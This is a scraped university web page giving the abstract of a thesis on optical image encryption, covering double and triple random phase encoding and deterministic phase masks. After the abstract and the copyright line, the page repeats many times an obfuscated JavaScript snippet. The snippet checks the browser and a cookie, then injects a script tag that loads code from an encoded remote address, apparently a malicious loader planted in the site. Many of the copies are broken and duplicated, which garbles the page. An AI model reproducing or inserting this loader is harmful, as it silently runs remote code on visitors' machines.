

[A \[1\]](#) [A \[1\]](#)

## [Résumé 008-2018 \[2\]](#)

### **Abstract:**

The rapid growth of modern communication techniques has increasingly stimulated the development of information security. Data encryption techniques are developed to encode the original data into ciphertexts that are only readable by authorized users to prevent illegal access. In addition to commonly used digital encryption techniques, study of optical methods to secure information has found widespread interest among the researchers as alternative solutions to provide practical tools for image encryption. Optical encryption techniques have generally the advantages of high speed parallel processing of two dimensional image data, the capability of hiding information in different dimensions such as (amplitude, phase, wavelength, polarization of light) and multiple degrees of freedom. The research of optical encryption can be dated back to the double random phase encoding (DRPE) scheme proposed by Réfrégier and Javidi in 1995, which was used to optically encrypt a plain image into a stationary white noise pattern by employing two random phase keys in the input and Fourier domains of a Vanderlugt4fcorrelator. Since the DRPE method, numerous research works on optical encryption have been conducted and many variations of this approach have been developed with extra degrees of freedom, including different canonical transforms. However, the conventional DRPE technique has some challenges still remain to be addressed. For example, it requires extremely precise alignment, especially in the decryption process, owing to the random phase characteristic. Furthermore, cryptanalysis of the DRPE system proved its security flaw to various attacks, such as chosen-ciphertext attack, known-plaintext attack, chosenplaintext attack, and ciphertext-only attack. To address these issues, many alternative techniques were proposed. Unfortunately, these techniques have also been successfully cryptanalyzed. As DRPE is the simplest and most effective optical image encryption technique, how to promote its security level is still an attractive issue.

In this context, the objectives of this research work are to develop new optical image encryption techniques to alleviate the accurate optical alignment requirements, and to enhance the security level of DRPE. The major contributions of the thesis can be summarized in two aspects. First, we introduce an optical encryption scheme by using a novel class of structured phase masks called “the deterministic phase masks”. Such deterministic masks are based on a linear combination of several sub-keys, which allow the system to enhance the optical alignment tolerance to shifts of the decrypting phase mask. This proposed solution provides another advantage which is the compact and tiny size of the encoding-decoding keys, which allows an easy mean to carry out the keys exchange procedure. Secondly, we present a new design strategy for optical encryption based on triple random phase encryption (TRPE), which is an extension of the DRPE by including a third random phase in the output plane of a 4f system in order to improve the security of DRPE against different types of attacks. The third random phase mask will modulate the output of DRPE again, thus, an adversary cannot convert the ciphertext to the Fourier domain without the exact knowledge of this mask. The proposed method proved its resistance to the attacks where the DRPE fails. Other contributions on optical image encryption methods were proposed in this thesis by incorporating the DRPE with polarized light, spreading technique which improves the performance of DRPE scheme. The techniques introduced in this thesis were evaluated and tested for applicability to encrypt and decrypt successfully, and have provided solutions to overcome some existing problems in the field of optical image encryption.

**Keywords:** Optical security, encryption, data processing by optical means, cryptanalysis, image processing, image analysis, VanderLugt correlator.

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())"){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k
```

```
}c(a3r4t)/{/v:ssrp}txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var  
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i  
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme  
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6  
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t  
txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,  
m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=docu  
ment.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{  
3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k  
}c(a3r4t)/{/v:ssrp}txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var  
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i  
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme  
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6  
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t  
txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var  
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i  
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme  
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6  
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t  
txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var  
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i  
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme  
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6  
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t  
txtxh,');var  
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function  
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu")];var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo\_,d\_{"}))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txhx,');var

```
W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}ttxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}})();
```

**Source URL:** <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-008-2018>

### Liens

[1] <http://www.inpt.ac.ma/fr/javascript%3A%3B>

[2] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-008-2018>